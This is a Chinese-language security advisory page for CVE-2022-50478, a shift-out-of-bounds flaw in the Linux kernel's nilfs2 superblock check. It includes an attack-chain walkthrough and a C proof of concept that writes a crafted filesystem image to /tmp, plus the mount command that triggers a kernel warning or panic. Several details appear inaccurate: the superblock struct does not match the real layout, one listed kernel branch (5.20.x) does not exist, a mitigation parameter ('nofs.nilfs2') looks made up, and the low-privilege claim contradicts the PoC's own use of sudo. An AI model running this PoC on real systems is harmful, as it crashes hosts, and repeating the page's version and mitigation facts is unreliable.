IPBUF安全漏洞报告
English
CVE-2022-50478 CVSS 7.1 高危

CVE-2022-50478 Linux内核nilfs2文件系统移位越界漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50478
漏洞类型
整数移位越界/算术溢出
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (nilfs2文件系统模块)

相关标签

Linux内核nilfs2文件系统整数溢出移位越界本地提权拒绝服务信息泄露内核漏洞UBSAN

漏洞概述

CVE-2022-50478是Linux内核nilfs2(日志结构文件系统第二版)模块中的一个高危安全漏洞。该漏洞存在于nilfs_sb2_bad_offset()辅助函数中,当磁盘上的超级块(superblock)中存储的块大小指数信息被损坏时,该函数会触发移位越界(shift-out-of-bounds)警告,并在panic_on_warn设置的情况下导致内核崩溃。具体表现为UBSAN(Undefined Behavior Sanitizer)检测到移位指数38983对于64位无符号长长整型来说过大。此外,由于nilfs_sb2_bad_offset()在执行乘法运算时未考虑上界限制,当磁盘布局参数异常时,计算结果可能发生溢出。该漏洞由syzbot模糊测试工具首次报告,需要两个补丁配合修复才能彻底消除挂载时的移位越界问题。该漏洞的影响范围涵盖Linux内核中所有使用nilfs2文件系统的版本,攻击者通过本地低权限访问即可利用此漏洞导致系统拒绝服务或信息泄露。

技术细节

该漏洞的根本原因在于nilfs_sb2_bad_offset()函数对从磁盘超级块读取的参数缺乏充分的健全性检查。具体技术细节如下:

1. **触发条件**:当攻击者构造一个包含异常块大小指数(如38983)的恶意nilfs2文件系统镜像,并尝试挂载该文件系统时,nilfs_sb2_bad_offset()函数会对该指数值执行左移位操作(如1ULL << s_block_size_bits)。

2. **漏洞原理**:在64位无符号长长整型(unsigned long long)中,合法的移位范围为0-63位。当从超级块读取的s_block_size_bits值超过63时,会触发UBSAN的shift-out-of-bounds警告。如果内核配置了panic_on_warn参数,则会直接导致内核崩溃(kernel panic)。

3. **溢出风险**:该函数还执行乘法运算(如offset * block_size),当offset和block_size均为异常大值时,乘积可能超过64位整型的最大值,导致整数溢出,进而产生错误的偏移量判断结果。

4. **利用方式**:攻击者需要本地访问权限(PR:L),无需用户交互(UI:N),通过创建或修改nilfs2文件系统镜像中的超级块数据,将块大小指数字段设置为非法大值,然后尝试挂载该文件系统即可触发漏洞。

5. **修复方案**:补丁通过插入初步的参数健全性检查,并使用除法和右移位替代乘法和左移位进行比较,避免了移位越界和整数溢出问题。

攻击链分析

STEP 1
步骤1:准备恶意镜像
攻击者创建一个经过精心构造的nilfs2文件系统镜像,在超级块的s_log_block_size字段中写入异常大的值(如38983),该值将作为块大小指数用于后续的移位运算。
STEP 2
步骤2:触发挂载操作
攻击者利用本地低权限账户执行mount命令或通过系统服务自动挂载该恶意镜像,触发内核调用nilfs_load_super_block()函数读取超级块数据。
STEP 3
步骤3:触发漏洞
nilfs_sb2_bad_offset()函数读取异常的s_log_block_size值后,执行左移位操作(1ULL << 38983),触发UBSAN的shift-out-of-bounds警告。
STEP 4
步骤4:造成影响
如果内核配置了panic_on_warn参数,系统将立即崩溃导致拒绝服务(DoS);即使未配置panic_on_warn,异常的移位和乘法运算可能导致整数溢出,产生错误的内存访问,进而引发信息泄露或系统不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50478 PoC - Trigger shift-out-of-bounds in nilfs_sb2_bad_offset() // This PoC creates a malicious nilfs2 filesystem image with corrupted // superblock data to trigger the vulnerability when mounting. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #define NILFS2_MAGIC 0x3434 // nilfs2 magic number #define BLOCK_SIZE 4096 #define SB_OFFSET 1024 // superblock offset // nilfs2 superblock structure (simplified) struct nilfs_super_block { unsigned int s_rev_level; unsigned int s_minor_rev_level; unsigned int s_magic; unsigned int s_bytes; unsigned int s_flags; unsigned int s_crc_seed; unsigned int s_sum; unsigned int s_log_block_size; // block size exponent - TARGET FIELD // ... other fields }; int create_malicious_image(const char *path) { int fd; char buf[BLOCK_SIZE]; // Create a sparse file fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } // Write zero-filled blocks memset(buf, 0, BLOCK_SIZE); for (int i = 0; i < 16; i++) { lseek(fd, i * BLOCK_SIZE, SEEK_SET); write(fd, buf, BLOCK_SIZE); } // Write malicious superblock at offset 1024 struct nilfs_super_block *sb = (struct nilfs_super_block *)buf; sb->s_rev_level = 2; sb->s_minor_rev_level = 0; sb->s_magic = NILFS2_MAGIC; sb->s_bytes = BLOCK_SIZE; sb->s_log_block_size = 38983; // Malicious shift exponent - triggers bug lseek(fd, SB_OFFSET, SEEK_SET); write(fd, buf, BLOCK_SIZE); close(fd); return 0; } int main(int argc, char *argv[]) { const char *img_path = "/tmp/malicious.nilfs2"; printf("Creating malicious nilfs2 filesystem image...\n"); if (create_malicious_image(img_path) < 0) { fprintf(stderr, "Failed to create image\n"); return 1; } printf("Malicious image created at %s\n", img_path); printf("To trigger the vulnerability, run:\n"); printf(" sudo mount -t nilfs2 %s /mnt/test\n", img_path); printf("\nExpected result: UBSAN shift-out-of-bounds warning\n"); printf("If panic_on_warn is set, kernel panic will occur.\n"); return 0; }

影响范围

Linux Kernel < 5.10.150
Linux Kernel 5.11.x < 5.15.74
Linux Kernel 5.16.x < 5.19.16
Linux Kernel 5.20.x < 6.0.2
Linux Kernel 6.1.x (部分受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)在/boot/grub/grub.cfg或启动参数中添加nofs.nilfs2模块黑名单,临时禁用nilfs2文件系统支持;2)通过配置/etc/modprobe.d/blacklist.conf文件添加'blacklist nilfs2'来阻止nilfs2模块加载;3)在内核命令行参数中添加'panic_on_warn=0'避免警告触发系统崩溃;4)限制普通用户使用mount命令的权限,仅允许root用户挂载文件系统;5)对来自不可信来源的文件系统镜像进行预先验证,拒绝挂载包含异常参数的镜像。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表